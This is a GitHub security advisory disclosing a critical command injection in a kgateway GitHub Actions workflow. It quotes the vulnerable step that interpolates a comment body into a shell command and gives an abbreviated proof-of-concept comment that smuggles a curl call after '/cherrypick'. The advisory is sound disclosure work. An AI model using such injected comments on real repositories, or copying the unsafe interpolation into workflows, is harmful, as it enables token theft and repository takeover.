Skip to content

Command injection via `issue_comment` in GitHub Action

Critical
yuval-k published GHSA-49gr-cc65-hxgw Jul 24, 2025

Package

actions kgateway-dev/kgateway (GitHub Actions)

Affected versions

main

Patched versions

main

Description

Summary

A command injection vulnerability was discovered in the .github/workflows/cherrypick.yaml GitHub Actions workflow. Untrusted discussion fields (title, body, etc.) were directly interpolated into shell commands in a run: block. An attacker could craft a malicious GitHub Discussion title or body (e.g., $(curl ...)) to execute arbitrary shell commands on the Actions runner.

Details

By dropping a comment in a PR with the body starting with /cherrypick and then adding commands it's possible to inject malicious code. The injection can be achieve in this part of the workflow.

- name: Extract PR and target branch info
        id: vars
        run: |
          **comment="${{ github.event.comment.body }}"**
          target_branch=$(echo "$comment" | awk '{print $2}')
          pr_number=${{ github.event.issue.number }}

In addition, the GITHUB_TOKEN is set with high permissions:

    permissions:
      contents: write
      pull-requests: write
      issues: write

PoC

To replicate the vulnerability you can drop a comment in a PR with the following:
/cherrypick " && curl .... #

Impact

The impact of this vulnerability is critical due to the high privileges of the GITHUB_TOKEN exfiltrated. An attacker could completely overtake the repository (contents: write) other then create workflows to extracts other secrets from the repository, and create new tags and releases. To prove the impacts we temporarely pushed a new tag poc-v1.1.55 which we removed after 2 minutes.

Screenshot 2025-07-19 at 19 49 15

This could result in:

  • Exfiltration of the repository’s GITHUB_TOKEN (with write access),
  • Unauthorized changes to repository contents, releases, and workflows,
  • Exposure of other repository secrets (e.g., Slack, npm tokens).

Kindly reported by @darryk10 @AlbertoPellitteri

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits